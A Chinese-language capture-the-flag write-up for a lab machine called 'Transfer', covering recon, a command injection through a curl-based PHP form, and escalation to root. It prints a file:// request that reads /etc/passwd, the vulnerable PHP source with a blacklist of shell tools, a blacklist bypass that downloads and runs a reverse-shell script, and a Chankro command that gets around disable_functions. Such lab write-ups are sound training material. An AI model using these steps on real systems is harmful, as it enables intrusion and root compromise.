# 靶场搭建
下载:Transfer
Nat,IP: 192.168.1.181
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
80/tcp open http Apache httpd 2.4.38 ((Debian)) | |
|_http-server-header: Apache/2.4.38 (Debian) | |
|_http-title: Apache2 Debian Default Page: It works |
┌──(root㉿kali)-[~] | |
└─# curl -sI http://192.168.1.181/ | grep -i 'Set-Cookie' | cut -d= -f 2 | base32 -d | |
domain=securetransfer.nyxbase32: invalid input |
拿到了域名,写入 hosts
扫一下子域,拿到子域: intranet2.securetransfer.nyx
进去看一眼,是一个 curl 的接口,查了一下,可以用 file://
读取 passwd: curl 'http://intranet2.securetransfer.nyx/index.php' -X POST --data "formurl=-s file:///etc/passwd&submit=Go"
在 /proc/self/environ
下读到网站目录 /var/www/intranet
读一下 index.php
<?php | |
if(isset($_POST['formurl'])){ | |
echo "<p>Requesting Site...</p>"; | |
$userurl=$_POST['formurl']; | |
$naughtyurl=0; | |
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'); | |
foreach($disallowed as $naughty){ | |
if(strpos($userurl,$naughty) !==false){ | |
echo $naughty.' Error, Extension Denied: '; | |
$naughtyurl=1; | |
} | |
} | |
if($naughtyurl==0){ | |
echo shell_exec("curl ".$userurl." 2>&1"); | |
} | |
} | |
?> |
看到了黑名单
因为是 curl,所以直接利用 - o 参数实现下载 shell.sh,然后使用 bas\h shell.sh
内联执行,拿到反弹 shell
# 提权
通过 ps -ef
发现了 root 权限运行的 php8888 端口和 /dev/shm
目录
上传 webshell,发现没办法 spawn shell。查了一下说是 disable_functions 了,所以要进行绕够
下载:Chankro,生成反弹 shell: python2 chankro.py --arch 64 --input shell.sh --output shell.php --path .
自己写一下 shell.sh
生成 php 传到 /dev/shm
,然后监听访问 curl http://127.0.0.1:8888/shell.php
,拿到 root 的 shell